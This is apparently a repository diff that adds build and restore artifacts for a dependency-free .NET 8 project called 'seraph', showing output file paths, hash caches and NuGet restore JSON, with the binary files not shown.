C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.dll
C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.pdb
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.GeneratedMSBuildEditorConfig.editorconfig
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.AssemblyInfoInputs.cache
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.AssemblyInfo.cs
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.csproj.CoreCompileInputs.cache
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.dll
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\refint\seraph.dll
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.pdb
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.genruntimeconfig.cache
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\ref\seraph.dll

Binary file not shown.

View File

@@ -0,0 +1 @@
ea199540467a6e4ef92d71a5333af19225a609ff58dfc9b821b595ad6d2e07db

Binary file not shown.

View File

@@ -0,0 +1,68 @@
{
"version": 3,
"targets": {
"net8.0": {}
},
"libraries": {},
"projectFileDependencyGroups": {
"net8.0": []
},
"packageFolders": {
"C:\\Users\\gum\\.nuget\\packages\\": {}
},
"project": {
"version": "1.0.0",
"restore": {
"projectUniqueName": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj",
"projectName": "seraph",
"projectPath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj",
"packagesPath": "C:\\Users\\gum\\.nuget\\packages\\",
"outputPath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\obj\\",
"projectStyle": "PackageReference",
"configFilePaths": [
"C:\\Users\\gum\\AppData\\Roaming\\NuGet\\NuGet.Config",
"C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config"
],
"originalTargetFrameworks": [
"net8.0"
],
"sources": {
"C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {},
"https://api.nuget.org/v3/index.json": {}
},
"frameworks": {
"net8.0": {
"targetAlias": "net8.0",
"projectReferences": {}
}
},
"warningProperties": {
"warnAsError": [
"NU1605"
]
}
},
"frameworks": {
"net8.0": {
"targetAlias": "net8.0",
"imports": [
"net461",
"net462",
"net47",
"net471",
"net472",
"net48",
"net481"
],
"assetTargetFallback": true,
"warn": true,
"frameworkReferences": {
"Microsoft.NETCore.App": {
"privateAssets": "all"
}
},
"runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\8.0.303/PortableRuntimeIdentifierGraph.json"
}
}
}
}

View File

@@ -0,0 +1,8 @@
{
"version": 2,
"dgSpecHash": "gKxWVmdBhy077f7Z/KiraGIHQKOBljC+34PgfrF/aeH0SFyifJXKFp/Gy2Q+5RKaA0mZtYKiIxF9wA+VMIPa3g==",
"success": true,
"projectFilePath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj",
"expectedPackageFiles": [],
"logs": []
}

View File

@@ -0,0 +1 @@
"restore":{"projectUniqueName":"C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj","projectName":"seraph","projectPath":"C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj","outputPath":"C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\obj\\","projectStyle":"PackageReference","originalTargetFrameworks":["net8.0"],"sources":{"C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\":{},"https://api.nuget.org/v3/index.json":{}},"frameworks":{"net8.0":{"targetAlias":"net8.0","projectReferences":{}}},"warningProperties":{"warnAsError":["NU1605"]}}"frameworks":{"net8.0":{"targetAlias":"net8.0","imports":["net461","net462","net47","net471","net472","net48","net481"],"assetTargetFallback":true,"warn":true,"frameworkReferences":{"Microsoft.NETCore.App":{"privateAssets":"all"}},"runtimeIdentifierGraphPath":"C:\\Program Files\\dotnet\\sdk\\8.0.303/PortableRuntimeIdentifierGraph.json"}}

View File

@@ -0,0 +1 @@
17225408775286069

Some files were not shown because too many files have changed in this diff Show More